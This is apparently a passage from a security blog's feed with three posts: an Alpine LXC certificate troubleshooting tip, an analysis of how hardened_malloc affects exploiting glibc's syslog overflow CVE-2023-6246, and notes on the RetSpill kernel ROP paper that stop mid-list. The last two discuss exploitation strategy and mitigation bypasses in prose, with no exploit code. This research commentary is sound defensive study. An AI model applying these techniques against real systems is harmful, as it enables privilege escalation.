&lt;code&gt;/etc/ssl/cert.pem&lt;/code&gt;.&lt;/p&gt;\n&lt;p&gt;In the meantime, here is what the problem looks like (for\n&lt;a href=\"https://en.wikipedia.org/wiki/Search_engine_optimization\"&gt;SEO&lt;/a&gt;) and how to\nhack around it: &lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"go\"&gt;root@pve ~ pct enter 122&lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;apk&lt;span class=\"w\"&gt; &lt;/span&gt;update\n&lt;span class=\"go\"&gt;fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:&lt;/span&gt;\n&lt;span class=\"go\"&gt;WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/main: Permission denied&lt;/span&gt;\n&lt;span class=\"go\"&gt;fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:&lt;/span&gt;\n&lt;span class=\"go\"&gt;WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/community: Permission denied&lt;/span&gt;\n&lt;span class=\"go\"&gt;4 unavailable, 0 stale; 30 distinct packages available&lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;^D\n&lt;span class=\"go\"&gt;root@pve ~ lxc-attach -n 122 &lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;apk&lt;span class=\"w\"&gt; &lt;/span&gt;update&lt;span class=\"p\"&gt;;&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;apk&lt;span class=\"w\"&gt; &lt;/span&gt;upgrade\n&lt;span class=\"go\"&gt;fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz&lt;/span&gt;\n&lt;span class=\"go\"&gt;fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz&lt;/span&gt;\n&lt;span class=\"go\"&gt;v3.18.6-10-g1bb71e18dfb [https://dl-cdn.alpinelinux.org/alpine/v3.18/main]&lt;/span&gt;\n&lt;span class=\"go\"&gt;v3.18.6-9-g41de282e84d [https://dl-cdn.alpinelinux.org/alpine/v3.18/community]&lt;/span&gt;\n&lt;span class=\"go\"&gt;OK: 20069 distinct packages available&lt;/span&gt;\n&lt;span class=\"go\"&gt;OK: 10 MiB in 30 packages&lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;^D\n&lt;span class=\"go\"&gt;root@pve 16:58 ~ &lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;tl;dr: &lt;code&gt;lxc attach -n 123&lt;/code&gt; instead of &lt;code&gt;pct enter 123&lt;/code&gt;&lt;/p&gt;</content><category term=\"sysadmin\"></category></entry><entry><title>Musings on CVE-2023-6246 on hardened_malloc</title><link href=\"https://dustri.org/b/musings-on-cve-2023-6246-on-hardened_malloc.html\" rel=\"alternate\"></link><published>2024-01-31T02:00:00+01:00</published><updated>2024-01-31T02:00:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2024-01-31:/b/musings-on-cve-2023-6246-on-hardened_malloc.html</id><summary type=\"html\">&lt;p&gt;Qualys' &lt;s&gt;security team&lt;/s&gt; Threat Research Unit &lt;a href=\"https://seclists.org/oss-sec/2024/q1/68\"&gt;published&lt;/a&gt;\na couple of hours ago a linear two-step heap buffer overflow in glibc's\n&lt;code&gt;syslog()&lt;/code&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"mi\"&gt;206&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;malloc&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;((&lt;/span&gt;&lt;span class=\"n\"&gt;bufsize&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;*&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"k\"&gt;sizeof&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"kt\"&gt;char&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n&lt;span class=\"p\"&gt;...&lt;/span&gt;\n&lt;span class=\"mi\"&gt;213&lt;/span&gt;&lt;span class=\"w\"&gt;       &lt;/span&gt;&lt;span class=\"n\"&gt;__snprintf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;\n&lt;span class=\"mi\"&gt;214&lt;/span&gt;&lt;span class=\"w\"&gt;                   &lt;/span&gt;&lt;span class=\"n\"&gt;SYSLOG_HEADER&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;pri&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;timestamp&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;amp;&lt;/span&gt;&lt;span class=\"n\"&gt;msgoff&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;pid&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n&lt;span class=\"p\"&gt;...&lt;/span&gt;\n&lt;span class=\"mi\"&gt;221&lt;/span&gt;&lt;span class=\"w\"&gt;     &lt;/span&gt;&lt;span class=\"n\"&gt;__vsnprintf_internal&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;bufsize&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;-&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;fmt&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;apc&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;\n&lt;span class=\"mi\"&gt;222&lt;/span&gt;&lt;span class=\"w\"&gt;                           &lt;/span&gt;&lt;span class=\"n\"&gt;mode_flags …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type=\"html\">&lt;p&gt;Qualys' &lt;s&gt;security team&lt;/s&gt; Threat Research Unit &lt;a href=\"https://seclists.org/oss-sec/2024/q1/68\"&gt;published&lt;/a&gt;\na couple of hours ago a linear two-step heap buffer overflow in glibc's\n&lt;code&gt;syslog()&lt;/code&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"mi\"&gt;206&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;malloc&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;((&lt;/span&gt;&lt;span class=\"n\"&gt;bufsize&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;*&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"k\"&gt;sizeof&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"kt\"&gt;char&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n&lt;span class=\"p\"&gt;...&lt;/span&gt;\n&lt;span class=\"mi\"&gt;213&lt;/span&gt;&lt;span class=\"w\"&gt;       &lt;/span&gt;&lt;span class=\"n\"&gt;__snprintf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;\n&lt;span class=\"mi\"&gt;214&lt;/span&gt;&lt;span class=\"w\"&gt;                   &lt;/span&gt;&lt;span class=\"n\"&gt;SYSLOG_HEADER&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;pri&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;timestamp&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;amp;&lt;/span&gt;&lt;span class=\"n\"&gt;msgoff&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;pid&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n&lt;span class=\"p\"&gt;...&lt;/span&gt;\n&lt;span class=\"mi\"&gt;221&lt;/span&gt;&lt;span class=\"w\"&gt;     &lt;/span&gt;&lt;span class=\"n\"&gt;__vsnprintf_internal&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;bufsize&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;-&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;fmt&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;apc&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;\n&lt;span class=\"mi\"&gt;222&lt;/span&gt;&lt;span class=\"w\"&gt;                           &lt;/span&gt;&lt;span class=\"n\"&gt;mode_flags&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;the tl;dr is that &lt;code&gt;bufsize&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt; while &lt;code&gt;l&lt;/code&gt; is user-controlled.\nAs mentioned in the advisory, messing with nss structures as done\nin their (phenomenal) &lt;a href=\"https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt\"&gt;&lt;code&gt;Baron Samedit&lt;/code&gt; sudo\nexploit&lt;/a&gt;\nis a good way to get a root shell on the glibc.&lt;/p&gt;\n&lt;p&gt;While the bug is in glibc's &lt;code&gt;syslog&lt;/code&gt;, it's not unheard of for\npeople to run custom allocators for performance/security/speed/… reasons.\nOne of those could be, for example, &lt;a href=\"https://github.com/GrapheneOS/hardened_malloc\"&gt;hardened_malloc&lt;/a&gt;,\n&lt;a href=\"https://grapheneos.org\"&gt;GrapheneOS&lt;/a&gt;'s security-focused allocator, raising\nthe question \"would &lt;code&gt;hardened_malloc&lt;/code&gt; make this particular bug\nunexploitable on my x86_64 Debian machine?\"&lt;/p&gt;\n&lt;p&gt;After discussing this with friends, we don't &lt;em&gt;think&lt;/em&gt; that it makes\nthe bug completely unexploitable, but ridiculously complicated, which is good\nenough™ for me. But keep in mind that this \"analysis\" was done hastily at 2am,\nso caveat lector.&lt;/p&gt;\n&lt;p&gt;&lt;code&gt;hardened_malloc&lt;/code&gt; uses size-based slabs isolation, popularised by\n&lt;a href=\"https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md\"&gt;PartitionAlloc&lt;/a&gt;.\nSince &lt;code&gt;bufsize&lt;/code&gt; is zero, this is a 1-byte\nallocation, falling into the\n&lt;a href=\"https://github.com/GrapheneOS/hardened_malloc/blob/main/h_malloc.c#L147\"&gt;16 bytes size-class&lt;/a&gt;,\nthe smallest after the special &lt;code&gt;0&lt;/code&gt; one. So to exploit this, one would have to find an\ninteresting object of size 16 bytes or lower to overwrite. But since\ncanaries are enabled by default, this becomes even more difficult: sizes of\nallocations are actually bumped by 8 bytes, meaning that one would actually\nhave to find an interesting object of size 8 bytes or lower.&lt;/p&gt;\n&lt;p&gt;Moreover, 16-byte slabs can contain at most 256 allocations, and are\nsurrounded by guard pages, meaning that accessing anything below &lt;code&gt;buf&lt;/code&gt; and\nabove &lt;code&gt;buf+(256*16)&lt;/code&gt; will result in a crash.&lt;/p&gt;\n&lt;p&gt;Allocations are randomized, which might help for bruteforcing the heap layout:\nif the current one isn't exploitable, just crash and start again. But it will\nalso result in a lot more crashes, since &lt;code&gt;buf&lt;/code&gt; might be allocated closer to\nthe guard page.&lt;/p&gt;\n&lt;p&gt;There are of course other mitigations, but they aren't relevant in this\nparticular case, like canaries that are checked on &lt;code&gt;free&lt;/code&gt;,\nor &lt;a href=\"https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/enhanced-security-through-mte\"&gt;ARM's MTE&lt;/a&gt; that completely kills linear-overflows.&lt;/p&gt;\n&lt;p&gt;Given the ludicrous amount of randomization &lt;code&gt;hardened_malloc&lt;/code&gt; applies to heap bases (32G\nper region), bruteforcing offsets of anything not on the heap is futile.\nSo one would have to find something interesting in an object of 8 bytes or less on\nthe heap, like a path to corrupt as in &lt;code&gt;service_user&lt;/code&gt;,\nor some partial-overwrite of a function-pointer to call a\n&lt;a href=\"https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html\"&gt;one-shot-gadget&lt;/a&gt;, …&lt;/p&gt;\n&lt;p&gt;Thanks to &lt;code&gt;strcat&lt;/code&gt; for the handholding, and\nto &lt;code&gt;jdoe&lt;/code&gt;, &lt;code&gt;drvink&lt;/code&gt; and &lt;code&gt;J&lt;/code&gt; for their diligent proofreading,&lt;/p&gt;</content><category term=\"security\"></category></entry><entry><title>Paper notes: RetSpill</title><link href=\"https://dustri.org/b/paper-notes-retspill.html\" rel=\"alternate\"></link><published>2024-01-18T16:45:00+01:00</published><updated>2024-01-18T16:45:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2024-01-18:/b/paper-notes-retspill.html</id><summary type=\"html\">&lt;ul&gt;\n&lt;li&gt;Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections&lt;/li&gt;\n&lt;li&gt;PDF: &lt;a href=\"https://dl.acm.org/doi/10.1145/3576915.3623220\"&gt;ACM&lt;/a&gt; —\n  &lt;a href=\"https://kylebot.net/papers/retspill.pdf\"&gt;mirror&lt;/a&gt; —\n  &lt;a href=\"https://dustri.org/b/files/papers/retspill.pdf\"&gt;local mirror&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Authors: &lt;a href=\"https://kylebot.net/\"&gt;Kyle \"kylebot\" Zeng&lt;/a&gt;,\n  &lt;a href=\"https://ruoyuwang.me/\"&gt;Ruoyu Wang&lt;/a&gt;,\n  &lt;a href=\"https://yancomm.net/\"&gt;Yan Shoshitaishvili&lt;/a&gt;,\n  and &lt;a href=\"https://adamdoupe.com/\"&gt;Adam Doupé&lt;/a&gt; from &lt;a href=\"https://shellphish.net/\"&gt;Shellphish&lt;/a&gt;,\n  along with &lt;a href=\"https://zplin.me/\"&gt;Zhenpeng Lin&lt;/a&gt;,\n  &lt;a href=\"https://www-users.cse.umn.edu/~kjlu/\"&gt;Kangjie Lu&lt;/a&gt;,\n  &lt;a href=\"http://xinyuxing.org/\"&gt;Xinyu Xing&lt;/a&gt; and\n  &lt;a href=\"https://www.tiffanybao.com/\"&gt;Tiffany Bao&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The idea of the paper is to use user-controlled …&lt;/p&gt;</summary><content type=\"html\">&lt;ul&gt;\n&lt;li&gt;Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections&lt;/li&gt;\n&lt;li&gt;PDF: &lt;a href=\"https://dl.acm.org/doi/10.1145/3576915.3623220\"&gt;ACM&lt;/a&gt; —\n  &lt;a href=\"https://kylebot.net/papers/retspill.pdf\"&gt;mirror&lt;/a&gt; —\n  &lt;a href=\"https://dustri.org/b/files/papers/retspill.pdf\"&gt;local mirror&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Authors: &lt;a href=\"https://kylebot.net/\"&gt;Kyle \"kylebot\" Zeng&lt;/a&gt;,\n  &lt;a href=\"https://ruoyuwang.me/\"&gt;Ruoyu Wang&lt;/a&gt;,\n  &lt;a href=\"https://yancomm.net/\"&gt;Yan Shoshitaishvili&lt;/a&gt;,\n  and &lt;a href=\"https://adamdoupe.com/\"&gt;Adam Doupé&lt;/a&gt; from &lt;a href=\"https://shellphish.net/\"&gt;Shellphish&lt;/a&gt;,\n  along with &lt;a href=\"https://zplin.me/\"&gt;Zhenpeng Lin&lt;/a&gt;,\n  &lt;a href=\"https://www-users.cse.umn.edu/~kjlu/\"&gt;Kangjie Lu&lt;/a&gt;,\n  &lt;a href=\"http://xinyuxing.org/\"&gt;Xinyu Xing&lt;/a&gt; and\n  &lt;a href=\"https://www.tiffanybao.com/\"&gt;Tiffany Bao&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The idea of the paper is to use user-controlled data that are by design copied\nin kernel-land when exercising syscalls to store a &lt;a href=\"https://en.wikipedia.org/wiki/Return-oriented_programming\"&gt;ROP&lt;/a&gt;-chain, via 4 main venues:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Valid Data directly copied onto the kernel stack for performance reasons, like when\n  calling &lt;code&gt;poll&lt;/code&gt;;&lt;/li&gt;\n&lt;li&gt;Preserved Registers, restored upon returning from kernel-land to\n  userland. &lt;/li&gt;\n&lt;li&gt;Calling Convention compliant functions will save/restore registers, and\n  apparently, system call handlers are calling convention compliant\n  even though the kernel is already taking care of those,\n  and syscalls can &lt;a href=\"https://www.kernel.org/doc/html/latest/process/adding-syscalls.html?highlight=syscall_define#do-not-call-system-calls-in-the-kernel\"&gt;only be called from userland&lt;/a&gt;.\n  But even if the syscalls handles weren't compliant, registers still contain\n  userland values when they're called, and sub-functions might store/restore\n  those registers, since those do need to be compliant.&lt;/li&gt;\n&lt;li&gt;Uninitialized Memory, since the per-thread kernel stack is reused between syscalls,\n  and not erased (unless &lt;code&gt;PAX_MEMORY_STACKLEAK&lt;/code&gt; is used).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Then, only a &lt;a href=\"https://en.wikipedia.org/wiki/KASLR\"&gt;KASLR&lt;/a&gt; leak,\na CFHP (control-flow hijacking primitive)\nand a &lt;code&gt;add rsp, X; ret&lt;/code&gt;-like gadget are required to &lt;a href=\"https://www.youtube.com/watch?v=FoUWHfh733Y\"&gt;ROP all the things&lt;/a&gt;.\nNowadays, most™ CFHP are created by corrupting the heap to hijack function\npointers, and since every kernel thread shares the same heap,\nonce it is is properly shaped, the control flow hijacking primitive can likely\nbe triggered again and again from a different threads.\nMoreover, changing the exploit is simply a matter of re-invoking a syscall with\ndifferent data spill, instead of having to reshape the heap every single time.\nOne doesn't have to worry about crashes (enabling lame bruteforcing), since no\nmajor Linux distributions (except CentOS, kudos) has &lt;code&gt;panic_on_oops&lt;/code&gt; enabled,\nso having a ROP-chain crash is no big deal, because the CFHP is still on the\nheap, one syscall away.&lt;/p&gt;\n&lt;p&gt;Since the space afforded to store gadgets might be too small, one trick is to\ninvoke &lt;code&gt;do_task_dead&lt;/code&gt; at the end of every ROP-chain to terminate it gracefully,\nand trigger the CFHP again and again.&lt;/p&gt;\n&lt;p&gt;Mitigation-wise: &lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Control_register#SMEP\"&gt;SMEP&lt;/a&gt;, \n  &lt;a href=\"https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention\"&gt;SMAP&lt;/a&gt; and\n  &lt;a href=\"https://en.wikipedia.org/wiki/Kernel_page-table_isolation\"&gt;KPTI&lt;/a&gt; are irrelevant.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://pax.grsecurity.net/docs/randkstack.txt\"&gt;RANDKSTACK&lt;/a&gt; mitigates data spillage from Preserved Registers and Uninitialized Memory,\n  but since it only provides 5 bits of randomness, a &lt;code&gt;ret&lt;/code&gt;-sled is enough\n  to bypass it (25.44% of the time if using gadgets from Preserved Registers or Uninitialized Memory, 100% otherwise),\n  and in the absence of &lt;code&gt;panic_on_oops&lt;/code&gt; it can quickly be bruteforced anyway.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Sanitize_kernel_stack\"&gt;STACKLEAK&lt;/a&gt;,\n  &lt;a href=\"https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Forcibly_initialize_local_variables_copied_to_userland\"&gt;STRUCTLEAK&lt;/a&gt;,\n  and &lt;a href=\"https://lwn.net/Articles/823152/\"&gt;CONFIG_INIT_STACK_*&lt;/a&gt;\n  only mitigate data spillage from Uninitialized Memory.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://lwn.net/Articles/824307/\"&gt;FG-KASLR&lt;/a&gt; is &lt;a href=\"https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/#gathering-useful-gadgets\"&gt;useless&lt;/a&gt;\n  since it doesn't randomize everything, leaving a couple (&lt;code&gt;42631&lt;/code&gt; according to\n  the paper) of gadgets at position-invariant positions, which are enough to perform\n  arbitrary-reads and derandomize everything.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://lore.kernel.org/lkml/202210010918.4918F847C4@keescook/T/#u\"&gt;KCFI&lt;/a&gt;\n  and &lt;a href=\"https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html\"&gt;IBT&lt;/a&gt;\n  also (currently) don't cover everything, but don't really matter much here\n  anyway, since we only care about backward-edges, and as for the CFHP:&lt;/li&gt;\n&lt;li&gt;There &lt;a href=\"https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors.pdf#page=35\"&gt;are ways&lt;/a&gt;\n    to obtain one in the presence of perfect forward-edge CFI with a heap corruption.&lt;/li&gt;\n&lt;li&gt;Using &lt;code&gt;__x86_indirect_thunk_rdi&lt;/code&gt; allows to transform a forward-edge control-flow transition to backward edge one.&lt;/li&gt;\n&lt;li&gt;Shadow stack and perfect CFI are a pipe dream that would mitigate RetSpill,\n  but &lt;a href=\"https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf\"&gt;PaX' RAP&lt;/a&gt;\n  is really close to it, likely making it insanely hard, with its type-based\n  CFI, and its changing-on-every-syscall/task/… register-stored cookie paired\n  with unreadable kernel stacks for backward edge, on top of CFI.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;To showcase how cool all of this is, the paper comes with a semi-automated tool\noutputting the address of a stack-shifting gadget, a function to performs data\nspillage, invoke the triggering system call, and yield a root shell via a\nclassic &lt;code&gt;commit_creds(init_cred)&lt;/code&gt; + returning back to user space. It works by:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;taking full snapshots of a vm to locate the syscall leading to CFHP by using\n  a binary-search-like heuristic;&lt;/li&gt;\n&lt;li&gt;mutating userland inputs (registers, &lt;code&gt;copy\\_from\\_user&lt;/code&gt;/&lt;code&gt;get\\_user&lt;/code&gt;\n  parameters, …), continuing the execution of the vm,\n  marking the as user-controllable data if the CFHP still\n  happens after modifications, and doing taint analysis to find how to modify\n  them.&lt;/li&gt;\n&lt;li&gt;generating a ROP-chain, which isn't that easy, given that:&lt;/li&gt;\n&lt;li&gt;it's done over discrete controlled regions&lt;/li&gt;\n&lt;li&gt;there are some constraints, like \"&lt;code&gt;eax&lt;/code&gt; contains the syscall number\",\n    or 